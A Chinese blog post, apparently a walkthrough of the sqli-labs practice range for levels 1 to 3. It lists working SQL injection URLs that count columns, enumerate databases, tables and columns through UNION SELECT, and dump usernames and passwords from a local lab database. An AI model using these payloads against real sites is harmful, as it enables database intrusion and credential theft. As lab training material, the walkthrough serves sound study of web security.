zoukankan      html  css  js  c++  java
  • sqli-labs通关笔记

    sql-labs是练习sql注入的优质靶场,其中包含各种各样注入姿势,通过这篇文章记录一下各种技巧。

    Basic Challenges

    Less-1

    经过尝试,存在报错,可以判断为字符型注入,闭合方式为 ' 

    首先使用 order by 判断一下字段数,有报错信息可以知道,存在3个字段。

    http://127.0.0.1:3000/Less-1/?id=1' order by 4--+

     

     接下来结合联合查询,查都有哪些数据库:

    http://127.0.0.1:3000/Less-1/?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

    查询当前数据库:

    http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,database() --+

    查表:

    http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    查字段:

    http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    查数据:

    http://127.0.0.1:3000/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

    Less-2

     确定注入类型为数值型,所以不用加引号,直接使用 id=1。剩余步骤和 LESS1 相同。

    http://127.0.0.1:3000/Less-2/?id=-1 order by 4 --+

     最终payload为:

    http://127.0.0.1:3000/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

    Less-3

    首先也是判断注入变量类型。' 会报错," 和 ()都没有报错,所以猜测SQL语句为 $SQL = "select * from database where id= ('$id') LIMIT 0,1" 这样的形式 。

    确定好变量形式之后就是常规的查库、查表、查字段了。和前面基本一样,最终payload为:

    http://127.0.0.1:3000/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

     

  • 相关阅读:
    Detours的使用 HOOK类CString::LoadString函数
    04-树7 二叉搜索树的操作集 (30分)
    04-树6 Complete Binary Search Tree (30分)
    04-树5 Root of AVL Tree (25分)
    04-树4 是否同一棵二叉搜索树 (25分)
    03-树3 Tree Traversals Again (25分)
    C# 调用SQL的存储过程的接口及实现
    利用存储过程来提高数据库的更新问题
    ASP.Net MVC实现一个表单多个submit
    优化EF的性能
  • 原文地址:https://www.cnblogs.com/s1awwhy/p/14593357.html
Copyright © 2011-2022 走看看